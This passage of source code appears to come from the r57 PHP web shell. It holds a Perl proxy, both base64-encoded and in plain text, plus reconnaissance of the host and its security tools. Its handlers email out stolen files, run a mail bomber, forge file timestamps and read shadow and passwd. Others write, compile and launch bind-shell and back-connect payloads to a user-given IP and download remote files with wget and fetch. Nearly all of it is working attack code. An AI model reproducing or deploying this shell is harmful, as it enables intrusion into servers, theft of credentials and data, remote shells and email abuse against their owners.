1945GVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IGFuYWx5emVfcmVxdWVzdCgpOwppZihvcGVuX2Nvbm5lY3Rpb24gKFJFTU9URSwgJHJlbW90ZV9ob3N0LCAk
1946cmVtb3RlX3BvcnQpID09IDApIHsKY2xvc2UgKFNFU1NJT04pOwpuZXh0Owp9CnByaW50IFJFTU9URSAkZmlyc3Q7CnByaW50IFJFTU9URSAiVXNlci1
1947BZ2VudDogR29vZ2xlYm90LzIuMSAoK2h0dHA6Ly93d3cuZ29vZ2xlLmNvbS9ib3QuaHRtbClcbiI7CndoaWxlICg8U0VTU0lPTj4pIHsKbmV4dCBpZi
1948AoL1Byb3h5LUNvbm5lY3Rpb246LyB8fCAvVXNlci1BZ2VudDovKTsKcHJpbnQgUkVNT1RFICRfOwpsYXN0IGlmICgkXyA9fiAvXltcc1x4MDBdKiQvK
1949TsKfQpwcmludCBSRU1PVEUgIlxuIjsKJGhlYWRlciA9IDE7CndoaWxlICg8UkVNT1RFPikgewpwcmludCBTRVNTSU9OICRfOwppZiAoJGhlYWRlcikg
1950eyAgICAgCmlmICgkaGVhZGVyICYmICRfID1+IC9eW1xzXHgwMF0qJC8pIHsKJGhlYWRlciA9IDA7Cn0KfQp9CmNsb3NlIChSRU1PVEUpOwpjbG9zZSA
1951oU0VTU0lPTik7Cn0KY2xvc2UgKFNPQ0spOwpzdWIgYW5hbHl6ZV9yZXF1ZXN0IHsKbXkgKCRmaXN0LCAkdXJsLCAkcmVtb3RlX2hvc3QsICRyZW1vdG
1952VfcG9ydCwgJG1ldGhvZCk7CiRmaXJzdCA9IDxTRVNTSU9OPjsKJHVybCA9ICgkZmlyc3QgPX4gbXwoaHR0cDovL1xTKyl8KVswXTsKKCRtZXRob2QsI
1953CRyZW1vdGVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IAooJGZpcnN0ID1+IG0hKEdFVCkgaHR0cDovLyhbXi86XSspOj8oXGQqKSEgKTsKaWYgKCEkcmVt
1954b3RlX2hvc3QpIHsKY2xvc2UoU0VTU0lPTik7CmV4aXQ7Cn0KJHJlbW90ZV9wb3J0ID0gImh0dHAiIHVubGVzcyAoJHJlbW90ZV9wb3J0KTsKJGZpcnN
19550ID1+IHMvaHR0cDpcL1wvW15cL10rLy87CnJldHVybiAoJGZpcnN0LCAkbWV0aG9kLCAkcmVtb3RlX2hvc3QsICRyZW1vdGVfcG9ydCk7Cn0Kc3ViIG
19569wZW5fY29ubmVjdGlvbiB7Cm15ICgkaG9zdCwgJHBvcnQpID0gQF9bMSwyXTsKbXkgKCRkZXN0X2FkZHIsICRjdXIpOwppZiAoJHBvcnQgIX4gL15cZ
1957CskLykgewokcG9ydCA9IChnZXRzZXJ2YnluYW1lKCRwb3J0LCAidGNwIikpWzJdOwokcG9ydCA9IDgwIHVubGVzcyAoJHBvcnQpOwp9CiRob3N0ID0g
1958aW5ldF9hdG9uICgkaG9zdCkgb3IgcmV0dXJuIDA7CiRkZXN0X2FkZHIgPSBzb2NrYWRkcl9pbiAoJHBvcnQsICRob3N0KTsKc29ja2V0ICgkX1swXSw
1959gQUZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90b2NvbCkgb3IgZGllICJzb2NrZXQoKSA6ICQhIjsKY29ubmVjdCAoJF9bMF0sICRkZXN0X2FkZHIpIG
19609yIHJldHVybiAwOwokY3VyID0gc2VsZWN0KCRfWzBdKTsgIAokfCA9IDE7CnNlbGVjdCgkY3VyKTsKcmV0dXJuIDE7Cn0=";
1961
1962/* ?ST SATIRIN KIRILMI? HAL? */
1963/*
1964
1965#!usr/bin/perl
1966use Socket;
1967my $port = $ARGV[0]||31337;
1968my $protocol = getprotobyname('tcp');
1969my $my_addr = sockaddr_in ($port, INADDR_ANY);
1970socket (SOCK, AF_INET, SOCK_STREAM, $protocol) or die "socket(): $!";
1971setsockopt (SOCK, SOL_SOCKET, SO_REUSEADDR,1 ) or die "setsockopt(): $!";
1972bind (SOCK, $my_addr) or die "bind(): $!";
1973listen (SOCK, SOMAXCONN) or die "listen(): $!";
1974$SIG{'INT'} = sub {
1975close (SOCK);
1976exit;
1977};
1978while (1) {
1979next unless my $remote_addr = accept (SESSION, SOCK);
1980my ($fist, $method, $remote_host, $remote_port) = analyze_request();
1981if(open_connection (REMOTE, $remote_host, $remote_port) == 0) {
1982close (SESSION);
1983next;
1984}
1985print REMOTE $first;
1986print REMOTE "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\n";
1987while (<SESSION>) {
1988next if (/Proxy-Connection:/ || /User-Agent:/);
1989print REMOTE $_;
1990last if ($_ =~ /^[\s\x00]*$/);
1991}
1992print REMOTE "\n";
1993$header = 1;
1994while (<REMOTE>) {
1995print SESSION $_;
1996if ($header) {
1997if ($header && $_ =~ /^[\s\x00]*$/) {
1998$header = 0;
1999}
2000}
2001}
2002close (REMOTE);
2003close (SESSION);
2004}
2005close (SOCK);
2006sub analyze_request {
2007my ($fist, $url, $remote_host, $remote_port, $method);
2008$first = <SESSION>;
2009$url = ($first =~ m|(http://\S+)|)[0];
2010($method, $remote_host, $remote_port) =
2011($first =~ m!(GET) http://([^/:]+):?(\d*)! );
2012if (!$remote_host) {
2013close(SESSION);
2014exit;
2015}
2016$remote_port = "http" unless ($remote_port);
2017$first =~ s/http:\/\/[^\/]+//;
2018return ($first, $method, $remote_host, $remote_port);
2019}
2020sub open_connection {
2021my ($host, $port) = @_[1,2];
2022my ($dest_addr, $cur);
2023if ($port !~ /^\d+$/) {
2024$port = (getservbyname($port, "tcp"))[2];
2025$port = 80 unless ($port);
2026}
2027$host = inet_aton ($host) or return 0;
2028$dest_addr = sockaddr_in ($port, $host);
2029socket ($_[0], AF_INET, SOCK_STREAM, $protocol) or die "socket() : $!";
2030connect ($_[0], $dest_addr) or return 0;
2031$cur = select($_[0]);
2032$| = 1;
2033select($cur);
2034return 1;
2035}
2036
2037*/
2038
2039
2040if($unix)
2041{
2042if(!isset($_COOKIE['uname'])) {$uname = ex('uname -a');setcookie('uname',$uname);}else {$uname = $_COOKIE['uname'];}
2043if(!isset($_COOKIE['id'])) {$id = ex('id');setcookie('id',$id);}else {$id = $_COOKIE['id'];}
2044if($safe_mode) {$sysctl = '-';}
2045else if(isset($_COOKIE['sysctl'])) {$sysctl = $_COOKIE['sysctl'];}
2046else
2047{
2048$sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease');
2049if(empty($sysctl)) {$sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease');}
2050if(empty($sysctl)) {$sysctl = '-';}
2051setcookie('sysctl',$sysctl);
2052}
2053}
2054echo $head;
2055echo '</head>';
2056echo '<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333 width=160><font face=Verdana size=2>'.ws(2).'<font face=tahoma size=2><b>r57 shell '.$version.'</b></font></td><td bgcolor=#333333><font face=Verdana size=-2>';
2057echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b> Your IP: [<font color=blue>".gethostbyname($_SERVER["REMOTE_ADDR"])."</font>]";
2058if(isset($_SERVER['X_FORWARDED_FOR'])){echo " X_FORWARDED_FOR: [<font color=red>".$_SERVER['X_FORWARDED_FOR']."</font>]";}
2059if(isset($_SERVER['CLIENT_IP'])){echo " CLIENT_IP: [<font color=red>".$_SERVER['CLIENT_IP']."</font>]";}
2060echo " Server IP: [<a href=".gethostbyname($_SERVER["HTTP_HOST"])." target=iframe><font color=blue>".gethostbyname($_SERVER["HTTP_HOST"])."</font></a>]";
2061echo "<br>";
2062echo ws(2)."PHP version: <b>".@phpversion()."</b>";
2063$curl_on = @function_exists('curl_version');
2064echo ws(2);
2065echo "cURL: <b>".(($curl_on)?("<font color=green>ON</font>"):("<font color=red>Kapali</font>"));
2066echo "</b>".ws(2);
2067echo "MySQL: <b>";
2068$mysql_on = @function_exists('mysql_connect');
2069if($mysql_on){
2070echo "<font color=green>ON</font>";}else {echo "<font color=red>Kapali</font>";}
2071echo "</b>".ws(2);
2072echo "MSSQL: <b>";
2073$mssql_on = @function_exists('mssql_connect');
2074if($mssql_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>Kapali</font>";}
2075echo "</b>".ws(2);
2076echo "PostgreSQL: <b>";
2077$pg_on = @function_exists('pg_connect');
2078if($pg_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>Kapali</font>";}
2079echo "</b>".ws(2);
2080echo "Oracle: <b>";
2081$ora_on = @function_exists('ocilogon');
2082if($ora_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>Kapali</font>";}
2083echo "</b><br>".ws(2);
2084echo "Safe_mode: <b>";
2085echo (($safe_mode)?("<font color=green>ON</font>"):("<font color=red>Kapali</font>"));
2086echo "</b>".ws(2);
2087echo "Open_basedir: <b>";
2088if($open_basedir) {if (''==($df=@ini_get('open_basedir'))) {echo "<font color=red>ini_get disable!</font></b>";}else {echo "<font color=green>$df</font></b>";};}
2089else {echo "<font color=red>NONE</font></b>";}
2090echo ws(2)."Safe_mode_exec_dir: <b>";
2091if(@function_exists('ini_get')) {if (''==($df=@ini_get('safe_mode_exec_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};}
2092else {echo "<font color=red>ini_get disable!</font></b>";}
2093echo ws(2)."Safe_mode_include_dir: <b>";
2094if(@function_exists('ini_get')) {if (''==($df=@ini_get('safe_mode_include_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};}
2095else {echo "<font color=red>ini_get disable!</font></b>";}
2096echo "<br>".ws(2);
2097echo "Disable functions : <b>";$df='ini_get disable!';
2098if((@function_exists('ini_get')) &&(''==($df=@ini_get('disable_functions')))){echo "<font color=red>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";}
2099$free = @diskfreespace($dir);
2100if (!$free) {$free = 0;}
2101$all = @disk_total_space($dir);
2102if (!$all) {$all = 0;}
2103echo "<br>".ws(2)."Free space : <b>".view_size($free)."</b> Total space: <b>".view_size($all)."</b>";
2104$ust='';
2105if($unix &&!$safe_mode){
2106if (which('gcc')) {$ust.="gcc,";}
2107if (which('cc')) {$ust.="cc,";}
2108if (which('ld')) {$ust.="ld,";}
2109if (which('php')) {$ust.="php,";}
2110if (which('perl')) {$ust.="perl,";}
2111if (which('python')) {$ust.="python,";}
2112if (which('ruby')) {$ust.="ruby,";}
2113if (which('make')) {$ust.="make,";}
2114if (which('tar')) {$ust.="tar,";}
2115if (which('nc')) {$ust.="netcat,";}
2116if (which('locate')) {$ust.="locate,";}
2117if (which('suidperl')) {$ust.="suidperl,";}
2118}
2119if (@function_exists('pcntl_exec')) {$ust.="pcntl_exec,";}
2120if($ust){echo "<br>".ws(2).$lang[$language.'_text137'].": <font color=blue>".$ust."</font>";}
2121$ust='';
2122if($unix &&!$safe_mode){
2123if (which('kav')) {$ust.="kav,";}
2124if (which('nod32')) {$ust.="nod32,";}
2125if (which('bdcored')) {$ust.="bitdefender,";}
2126if (which('uvscan')) {$ust.="mcafee,";}
2127if (which('sav')) {$ust.="symantec,";}
2128if (which('drwebd')) {$ust="drwebd,";}
2129if (which('clamd')) {$ust.="clamd,";}
2130if (which('rkhunter')) {$ust.="rkhunter,";}
2131if (which('chkrootkit')) {$ust.="chkrootkit,";}
2132if (which('iptables')) {$ust.="iptables,";}
2133if (which('ipfw')) {$ust.="ipfw,";}
2134if (which('tripwire')) {$ust.="tripwire,";}
2135if (which('shieldcc')) {$ust.="stackshield,";}
2136if (which('portsentry')) {$ust.="portsentry,";}
2137if (which('snort')) {$ust.="snort,";}
2138if (which('ossec')) {$ust.="ossec,";}
2139if (which('lidsadm')) {$ust.="lidsadm,";}
2140if (which('tcplodg')) {$ust.="tcplodg,";}
2141if (which('tripwire')) {$ust.="tripwire,";}
2142if (which('sxid')) {$ust.="sxid,";}
2143if (which('logcheck')) {$ust.="logcheck,";}
2144if (which('logwatch')) {$ust.="logwatch,";}
2145}
2146if (@function_exists('apache_get_modules') &&@in_array('mod_security',apache_get_modules())) {$ust.="mod_security,";}
2147if($ust){echo "<br>".ws(2).$lang[$language.'_text138'].": <font color=red>$ust</font>";}
2148echo "<br>".ws(2)."</b>";
2149echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb;
2150echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb;
2151echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb;
2152echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb;
2153if(!$unix) {
2154echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?systeminfo title=\"".$lang[$language.'_text50']."\"><b>systeminfo</b></a> ".$rb;
2155}else{
2156echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?syslog title=\"View syslog.conf\"><b>syslog</b></a> ".$rb;
2157echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?resolv title=\"View resolv\"><b>resolv</b></a> ".$rb;
2158echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?hosts title=\"View hosts\"><b>hosts</b></a> ".$rb;
2159echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?shadow title=\"View shadow\"><b>shadow</b></a> ".$rb;
2160echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?passwd title=\"".$lang[$language.'_text95']."\"><b>passwd</b></a> ".$rb;
2161}
2162echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb;
2163echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb;
2164if($unix &&!$safe_mode)
2165{
2166echo "<br>".ws(2)."</b>";
2167echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?procinfo title=\"View procinfo\"><b>procinfo</b></a> ".$rb;
2168echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?version title=\"View proc version\"><b>version</b></a> ".$rb;
2169echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?free title=\"View mem free\"><b>free</b></a> ".$rb;
2170echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?dmesg(8) title=\"View dmesg\"><b>dmesg</b></a> ".$rb;
2171echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?vmstat title=\"View vmstat\"><b>vmstat</b></a> ".$rb;
2172echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?lspci title=\"View lspci\"><b>lspci</b></a> ".$rb;
2173echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?lsdev title=\"View lsdev\"><b>lsdev</b></a> ".$rb;
2174echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?interrupts title=\"View interrupts\"><b>interrupts</b></a> ".$rb;
2175echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?realise1 title=\"View realise1\"><b>realise1</b></a> ".$rb;
2176echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?realise2 title=\"View realise2\"><b>realise2</b></a> ".$rb;
2177echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?lsattr title=\"View lsattr -va\"><b>lsattr</b></a> ".$rb;
2178echo "<br>".ws(2)."</b>";
2179echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?w title=\"View w\"><b>w</b></a> ".$rb;
2180echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?who title=\"View who\"><b>who</b></a> ".$rb;
2181echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?uptime title=\"View uptime\"><b>uptime</b></a> ".$rb;
2182echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?last title=\"View last -n 10\"><b>last</b></a> ".$rb;
2183echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?psaux title=\"View ps -aux\"><b>ps aux</b></a> ".$rb;
2184echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?service title=\"View service\"><b>service</b></a> ".$rb;
2185echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?ifconfig title=\"View ifconfig\"><b>ifconfig</b></a> ".$rb;
2186echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?netstat title=\"View netstat -a\"><b>netstat</b></a> ".$rb;
2187echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?fstab title=\"View fstab\"><b>fstab</b></a> ".$rb;
2188echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?fdisk title=\"View fdisk -l\"><b>fdisk</b></a> ".$rb;
2189echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?df title=\"View df -h\"><b>df -h</b></a> ".$rb;
2190}
2191echo '</font></td></tr><table>
2192<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000>
2193<tr><td align=right width=100>';
2194echo $font;
2195if($unix){
2196echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
2197echo "</td><td>";
2198echo "<font face=Verdana size=-2 color=red><b>";
2199echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>"));
2200echo ws(3).$sysctl."<br>";
2201echo ws(3).ex('echo $OSTYPE')."<br>";
2202echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
2203if(!empty($id)) {echo ws(3).$id."<br>";}
2204else if(@function_exists('posix_geteuid') &&@function_exists('posix_getegid') &&@function_exists('posix_getgrgid') &&@function_exists('posix_getpwuid'))
2205{
2206$euserinfo = @posix_getpwuid(@posix_geteuid());
2207$egroupinfo = @posix_getgrgid(@posix_getegid());
2208echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>';
2209}
2210else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>";
2211echo ws(3).$dir;
2212echo ws(3).'( '.perms(@fileperms($dir)).' )';
2213echo "</b></font>";
2214}
2215else
2216{
2217echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
2218echo "</td><td>";
2219echo "<font face=Verdana size=-2 color=red><b>";
2220echo ws(3).@substr(@php_uname(),0,120)."<br>";
2221echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
2222echo ws(3).@getenv("USERNAME")."<br>";
2223echo ws(3).$dir;
2224echo "<br></font>";
2225}
2226echo "</font>";
2227echo "</td></tr></table>";
2228if(!empty($_POST['cmd']) &&$_POST['cmd']=="mail")
2229{
2230$res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n");
2231err(6+$res);
2232$_POST['cmd']="";
2233}
2234if(!empty($_POST['cmd']) &&$_POST['cmd']=="mail_file"&&!empty($_POST['loc_file']))
2235{
2236if($file=@fopen($_POST['loc_file'],"r")){$filedump = @fread($file,@filesize($_POST['loc_file']));@fclose($file);}
2237else if ($file=readzlib($_POST['loc_file'])) {$filedump = $file;}else {err(1,$_POST['loc_file']);$_POST['cmd']="";}
2238if(isset($_POST['cmd']))
2239{
2240$filename = @basename($_POST['loc_file']);
2241$content_encoding=$mime_type='';
2242compress($filename,$filedump,$_POST['compress']);
2243$attach = array(
2244"name"=>$filename,
2245"type"=>$mime_type,
2246"content"=>$filedump
2247);
2248if(empty($_POST['subj'])) {$_POST['subj'] = 'file from r57';}
2249if(empty($_POST['from'])) {$_POST['from'] = 'billy@microsoft.com';}
2250$res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
2251err(6+$res);
2252$_POST['cmd']="";
2253}
2254}
2255if(!empty($_POST['cmd']) &&$_POST['cmd']=="mail_bomber"&&!empty($_POST['mail_flood']) &&!empty($_POST['mail_size']))
2256{
2257for($h=1;$h<=$_POST['mail_flood'];$h++){
2258$res = mail($_POST['to'],$_POST['subj'],$_POST['text'].str_repeat(" ",1024*$_POST['mail_size']),"From: ".$_POST['from']."\r\n");
2259}
2260err(6+$res);
2261$_POST['cmd']="";
2262}
2263if(!empty($_POST['cmd']) &&$_POST['cmd'] == "find_text")
2264{
2265$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
2266}
2267if(!empty($_POST['cmd']) &&$_POST['cmd']=="ch_")
2268{
2269switch($_POST['what'])
2270{
2271case 'own':
2272@chown($_POST['param1'],$_POST['param2']);
2273break;
2274case 'grp':
2275@chgrp($_POST['param1'],$_POST['param2']);
2276break;
2277case 'mod':
2278@chmod($_POST['param1'],intval($_POST['param2'],8));
2279break;
2280}
2281$_POST['cmd']="";
2282}
2283if(!empty($_POST['cmd']) &&$_POST['cmd']=="mk")
2284{
2285switch($_POST['what'])
2286{
2287case 'file':
2288if($_POST['action'] == "create")
2289{
2290if(@file_exists($_POST['mk_name']) ||!$file=@fopen($_POST['mk_name'],"w")) {err(2,$_POST['mk_name']);$_POST['cmd']="";}
2291else {
2292@fclose($file);
2293$_POST['e_name'] = $_POST['mk_name'];
2294$_POST['cmd']="edit_file";
2295echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>";
2296}
2297}
2298else if($_POST['action'] == "delete")
2299{
2300if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>";
2301$_POST['cmd']="";
2302}
2303break;
2304case 'dir':
2305if($_POST['action'] == "create"){
2306if(@mkdir($_POST['mk_name']))
2307{
2308$_POST['cmd']="";
2309echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>";
2310}
2311else {err(2,$_POST['mk_name']);$_POST['cmd']="";}
2312}
2313else if($_POST['action'] == "delete"){
2314if(@rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>";
2315$_POST['cmd']="";
2316}
2317break;
2318}
2319}
2320if(!empty($_POST['cmd']) &&$_POST['cmd']=="touch")
2321{
2322if(!$_POST['file_name_r'])
2323{
2324$datar = $_POST['day']." ".$_POST['month']." ".$_POST['year']." ".$_POST['chasi']." hours ".$_POST['minutes']." minutes ".$_POST['second']." seconds";
2325$datar = @strtotime($datar);
2326@touch($_POST['file_name'],$datar,$datar);}
2327else{
2328@touch($_POST['file_name'],@filemtime($_POST['file_name_r']),@filemtime($_POST['file_name_r']));
2329}
2330$_POST['cmd']="";
2331}
2332if(!empty($_POST['cmd']) &&$_POST['cmd']=="edit_file"&&!empty($_POST['e_name']))
2333{
2334if(!$file=@fopen($_POST['e_name'],"r+")) {$filedump = @fread($file,@filesize($_POST['e_name']));@fclose($file);$only_read = 1;}
2335if($file=@fopen($_POST['e_name'],"r")) {$filedump = @fread($file,@filesize($_POST['e_name']));@fclose($file);}
2336else if ($file=readzlib($_POST['e_name'])) {$filedump = $file;$only_read = 1;}else {err(1,$_POST['e_name']);$_POST['cmd']="";}
2337if(isset($_POST['cmd']))
2338{
2339echo $table_up3;
2340echo $font;
2341echo "<form name=save_file method=post>";
2342echo ws(3)."<b>".$_POST['e_name']."</b>";
2343echo "<div align=center><textarea name=e_text cols=121 rows=24>";
2344echo @htmlspecialchars($filedump);
2345echo "</textarea>";
2346echo "<input type=hidden name=e_name value=".$_POST['e_name'].">";
2347echo "<input type=hidden name=dir value=".$dir.">";
2348echo "<input type=hidden name=cmd value=save_file>";
2349echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">"));
2350echo "</div>";
2351echo "</font>";
2352echo "</form>";
2353echo "</td></tr></table>";
2354exit();
2355}
2356}
2357if(!empty($_POST['cmd']) &&$_POST['cmd']=="save_file")
2358{
2359$mtime = @filemtime($_POST['e_name']);
2360if((!$file=@fopen($_POST['e_name'],"w")) &&(!function_exists('file_put_contents'))) {err(0,$_POST['e_name']);}
2361else {
2362if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']);
2363@fwrite($file,$_POST['e_text']) or @fputs($file,$_POST['e_text']) or @file_put_contents($_POST['e_name'],$_POST['e_text']);
2364@touch($_POST['e_name'],$mtime,$mtime);
2365$_POST['cmd']="";
2366echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>";
2367}
2368}
2369if (!empty($_POST['proxy_port'])&&($_POST['use']=="Perl"))
2370{
2371cf("/tmp/prxpl",$prx_pl);
2372$p2=which("perl");
2373$blah = ex($p2." /tmp/prxpl ".$_POST['proxy_port']." &");
2374$_POST['cmd']="ps -aux | grep prxpl";
2375}
2376if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
2377{
2378cf("/tmp/bd.c",$port_bind_bd_c);
2379$blah = ex("gcc -o /tmp/bd /tmp/bd.c");
2380@unlink("/tmp/bd.c");
2381$blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &");
2382$_POST['cmd']="ps -aux | grep bd";
2383}
2384if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
2385{
2386cf("/tmp/bdpl",$port_bind_bd_pl);
2387$p2=which("perl");
2388$blah = ex($p2." /tmp/bdpl ".$_POST['port']." &");
2389$_POST['cmd']="ps -aux | grep bdpl";
2390}
2391if (!empty($_POST['ip']) &&!empty($_POST['port']) &&($_POST['use']=="Perl"))
2392{
2393cf("/tmp/back",$back_connect);
2394$p2=which("perl");
2395$blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &");
2396$_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
2397}
2398if (!empty($_POST['ip']) &&!empty($_POST['port']) &&($_POST['use']=="C"))
2399{
2400cf("/tmp/back.c",$back_connect_c);
2401$blah = ex("gcc -o /tmp/backc /tmp/back.c");
2402@unlink("/tmp/back.c");
2403$blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &");
2404$_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
2405}
2406if (!empty($_POST['local_port']) &&!empty($_POST['remote_host']) &&!empty($_POST['remote_port']) &&($_POST['use']=="Perl"))
2407{
2408cf("/tmp/dp",$datapipe_pl);
2409$p2=which("perl");
2410$blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &");
2411$_POST['cmd']="ps -aux | grep dp";
2412}
2413if (!empty($_POST['local_port']) &&!empty($_POST['remote_host']) &&!empty($_POST['remote_port']) &&($_POST['use']=="C"))
2414{
2415cf("/tmp/dpc.c",$datapipe_c);
2416$blah = ex("gcc -o /tmp/dpc /tmp/dpc.c");
2417@unlink("/tmp/dpc.c");
2418$blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &");
2419$_POST['cmd']="ps -aux | grep dpc";
2420}
2421if (!empty($_POST['alias']) &&isset($aliases[$_POST['alias']])) {$_POST['cmd'] = $aliases[$_POST['alias']];}
2422for($upl=0;$upl<=16;$upl++)
2423{
2424if(!empty($HTTP_POST_FILES['userfile'.$upl]['name'])){
2425if(!empty($_POST['new_name']) &&($upl==0)) {$nfn = $_POST['new_name'];}
2426else {$nfn = $HTTP_POST_FILES['userfile'.$upl]['name'];}
2427@move_uploaded_file($HTTP_POST_FILES['userfile'.$upl]['tmp_name'],$_POST['dir']."/".$nfn)
2428or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile'.$upl]['name']."</div></font>");
2429}
2430}
2431if (!empty($_POST['with']) &&!empty($_POST['rem_file']) &&!empty($_POST['loc_file']))
2432{
2433switch($_POST['with'])
2434{
2435case 'fopen':
2436$datafile = @implode("",@file($_POST['rem_file']));
2437if($datafile)
2438{
2439$w_file=@fopen($_POST['loc_file'],"wb") or @function_exists('file_put_contents') or err(0);
2440if($w_file)
2441{
2442@fwrite($w_file,$datafile) or @fputs($w_file,$datafile) or @file_put_contents($_POST['loc_file'],$datafile);
2443@fclose($w_file);
2444}
2445}
2446$_POST['cmd'] = '';
2447break;
2448case 'wget':
2449$_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file']."";
2450break;
2451case 'fetch':
2452$_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file']."";
2453break;
2454case 'lynx':
2455$_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
2456break;
2457case 'links':
